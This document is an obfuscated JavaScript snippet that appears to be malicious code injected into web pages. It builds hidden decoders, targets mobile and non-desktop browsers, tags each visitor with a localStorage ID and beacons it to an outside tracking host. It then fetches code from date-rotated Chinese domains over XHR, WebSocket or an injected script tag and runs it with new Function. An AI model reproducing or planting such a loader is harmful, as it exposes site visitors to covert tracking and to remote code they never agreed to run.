function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};